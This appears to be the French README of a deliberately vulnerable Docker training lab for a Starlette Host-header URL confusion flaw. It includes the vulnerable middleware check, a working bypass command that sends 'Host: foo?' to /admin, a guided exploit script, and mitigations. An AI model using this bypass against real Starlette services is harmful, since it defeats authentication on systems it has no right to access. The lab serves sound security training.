
Lab de confusion d'URL Host-Header de Starlette (X41-2026-002) - CVE-2026-48710
Un laboratoire de formation autonome et conteneurisé reproduisant la vulnérabilité de contournement d'authentification de Starlette divulguée par X41 D-Sec.
>= 0.8.3, < 1.0.1 (le laboratoire utilise 0.37.2)1.0.1⚠️ Réservé à une formation en sécurité autorisée. Cette application est volontairement vulnérable. Ne la déployez sur aucun réseau accessible.
Starlette achemine une requête vers une route en utilisant le scope["path"] ASGI brut, mais il reconstruit request.url en formatant l'en-tête Host fourni par le client dans "{scheme}://{host}{path}" — sans valider l'en-tête Host conformément à la RFC 9112 §3.2. Comme les métacaractères d'URL (?, /, #) sont autorisés tels quels, un attaquant peut faire en sorte que le chemin reconstruit diffère du chemin routé. Toute vérification de sécurité écrite sur request.url.path peut alors être trompée tandis que le routeur atteint toujours le gestionnaire protégé.
Le middleware vulnérable autorise la requête uniquement lorsque request.url.path est / ou vide :
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
Envoyez Host: foo? avec GET /admin :
| Composant | Valeur utilisée |
|---|---|
Routeur (scope["path"]) |
Le ? transforme tout ce qui le suit en chaîne de requête, de sorte que le chemin analysé est vide. L'authentification voit un chemin vide et le laisse passer ; le routeur sert toujours /admin. Contournement réussi.
Nécessite Docker + Docker Compose.
docker compose up --build
Deux services démarrent :
| Service | URL | Comportement |
|---|---|---|
vulnerable | http://localhost:8000 | contournable |
fixed | http://localhost:8001 | atténué (deux manières) |
# Blocked normally:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
Ou lancez le script PoC guidé :
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
Le gestionnaire /admin vulnérable renvoie un corps JSON qui rend la confusion visible — notez que scope_path et reconstructed_path diffèrent :
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
Voir fixed/fixed_app.py. Deux atténuations indépendantes :
request.scope["path"] — le même chemin brut utilisé par le routeur — plutôt que sur le request.url.path reconstruit.TrustedHostMiddleware rejette les en-têtes Host inattendus ou malformés avant que toute logique applicative ne s'exécute, imitant ce qu'un proxy inverse conforme à la RFC (nginx/Apache) fait en amont.Le correctif réel est simplement de passer à Starlette ≥ 1.0.1, qui valide l'en-tête Host lors de la reconstruction de l'URL.
redirect_uri, clés de cache, liens de réinitialisation de mot de passe construits à partir du Host.)/admin) est-il plus fragile ici que « décider sur la route ciblée » ? Et si le routage est insensible à la casse ou comporte des redirections avec slash final ?0.0.0.0-day.)starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
/admin → achemine vers admin() |
request.url | http://foo?/admin |
request.url.path | "" → passe le contrôle d'authentification ✅ |